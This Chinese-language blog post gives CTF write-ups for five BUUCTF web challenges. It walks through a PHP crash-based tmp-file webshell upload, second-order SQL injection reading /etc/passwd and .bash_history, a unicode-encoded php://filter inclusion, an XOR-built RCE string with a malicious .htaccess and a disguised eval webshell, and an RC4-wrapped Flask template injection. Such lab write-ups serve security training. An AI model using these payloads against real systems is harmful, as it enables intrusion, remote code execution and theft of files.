BUUCTF-WEB(86-90)
[NPUCTF2020]ezinclude
参考:php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 博客园 (cnblogs.com)
[BUUCTF题解][NPUCTF2020]ezinclude 1 - Article_kelp - 博客园 (cnblogs.com)
查看源码发现
然后抓包发现一个hash值
然后我直接传参数,让pass
等于这一个Hash
值
?pass=fa25e54758d5d5c1927781a6ede89f8a
然后我们访问flflflflag.php
,网页访问直接就是404
,我们在burp
访问一下
然后有一个文件包含,我们输入
?file=php://filter/read=convert.base64-encode/resource=index.php
然后没发现啥,看到了过滤了一些东西,然后我们得想办法getshell
然后查了一下可以利用CVE-2018-14884
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell,因为/tmp/xxx,里面的xxx是随机的,需要我们获取才能利用
发现他其实还有一个dir.php
,后面用于我们获取文件名。
以下是师傅的脚本
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
运行过后,我们再次看一下这个dir.php
,发现了多了一个文件
然后蚁剑连接
http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpFVc8V7
连接上去也没有文件。
然后给脚本里面改一下,直接改成phpinfo
,然后查看一下文件名,访问
/flflflflag.php?file=/tmp/phpeEMvZk
[网鼎杯 2018]Comment
参考:[BUUCTF题解][网鼎杯 2018]Comment - Article_kelp - 博客园 (cnblogs.com)
[网鼎杯 2018]Comment题解,超详细!_网鼎杯2018 comment-CSDN博客
[网鼎杯 2018]Comment(二次注入,git泄露,git恢复)_[网鼎杯 2018]comment 1-CSDN博客
随便发了一个评论
提示我们登录,密码是少了三位的,我们burp
爆破一下,记得改一下位数
然后爆破出来就是zhangwei666
然后登陆进来没啥东西,然后扫描发现了git
泄露
githacker --url http://ffeb1532-df4b-4662-a8eb-fc40623bd36f.node5.buuoj.cn:81/.git --output-folder result
然后我们看看有没有其他版本,我们发现了一个更详细的版本
git log --all
然后我们恢复一下
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
然后发现$category
的值先经过addslashes
函数的转义,然后放入了数据库后,转义字符是已经去掉了,我们再看后面的$category
是从数据库中取出来的,所以可以构成二次注入
所以我们可以先在发帖这里的category
构造出来语句,然后注释掉后面,因为这里是多行来写,不能用# --+
,我们需要用多行注释来注释掉中间的部分
我们现在发帖构造这个
',content=database(),/*
然后在留言写下
*/#
然后发现出现了数据库的名字
然后后面你爆破表,列都没啥用,可以试试
接下来我们试试读取文件,发现成功读取了
',content=(load_file("/etc/passwd")),/*
*/#
然后我们发现www
这个用户的目录/home/www
,一般网站的用户都是这个,然后我们看一下他的历史命令
',content=(load_file("/home/www/.bash_history")),/*
*/#
可以看到html.zip
里面有一个.DS_Store
文件,复制到/var/www/html
目录下后被删除了,但是在/tmp/
下只是删除了压缩包,但是因为有解压的过程,所以解压后生成的文件夹html里还存在.DS_Store
文件,读取这个文件。
又因为.DS_Store
有很多看不见的字符,我们十六进制编码一下
',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
*/#
然后拿去解码,发现flag_8946e1ff1ee3e40f.php
然后我们访问
',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#
然后解码得到flag
flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}
然后提交对不了,莫名其妙的
[HarekazeCTF2019]encode_and_encode
打开就是源码
我们应该POST
传入一个json格式的数据{"page":xxxxx}
然后我们就是想办法绕过,这里有一个json_decode
这个函数,他会将\uxxx
unicode字符转义,所以我们可以用它过滤关键词
php://filter/convert.base64-encode/resource=/flag
我们可以unicode
编码
\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067
然后post
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
然后base64 解码
flag{49cf7586-6920-45ca-9c27-803fdb3bb5b5}
[SUCTF 2019]EasyWeb
参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)
[SUCTF 2019]EasyWeb - 泠涯 - 博客园 (cnblogs.com)
题目打开就是源码
首先是一个无字母RCE
的构造,然后取反是被过滤了,那我们就用异或绕过
然后由于限制了长度,我们可以用$_GET[]()
这种形式,然后[]
被过滤了,我们可以用{}
这个代替
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
我们可以看到很多函数都已经被过滤了
然后接下来我们可以调用get_the_flag
这个函数,主要是用来上传文件,发现文件后缀不能带有ph
以及文件内容不可以有<?
出现,然后phpinfo
可以看出是Apache
服务器,我们是可以上传.htaccess
文件的,我们可以采用php://filter
伪协议进行base64编码处理,这样就能绕过对<?
的检测了,exif_imagetype
对问价内容检测可以通过添加文件头幻术来绕过,在前面添加这两条即可
#define width 1337
#define height 1337
.htaccess
文件内容
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg
poc.jpg
文件内容(这里GIF89a多了两位,是因为base64按照四位解码的,所以我们补上了两位)
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
然后用脚本上传,都是大佬的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://1e77ef5b-9c14-4b60-aecb-7799ec7dc112.node5.buuoj.cn:81//?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/.htaccess
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/poc.jpg
然后蚁剑链接一下,密码cmd
然后根目录直接找到flag
了
[CISCN2019 华东南赛区]Double Secret
参考:[CISCN2019 华东南赛区]Double Secret - 怪味巧克力 - 博客园 (cnblogs.com)
打开页面有个这
我们试试访问一下
然后可能就是传参数,参数名字就是secret
?secret=123
多打了一串
?secret=12312312312312321312
有源码泄露,我们看一下
这里其实就是对我们输入参数的一个判断,首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。
然后师傅的代码跑一下
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92
传参,得到flag
flag{10d06794-3faa-4001-910f-dc7c21173b75}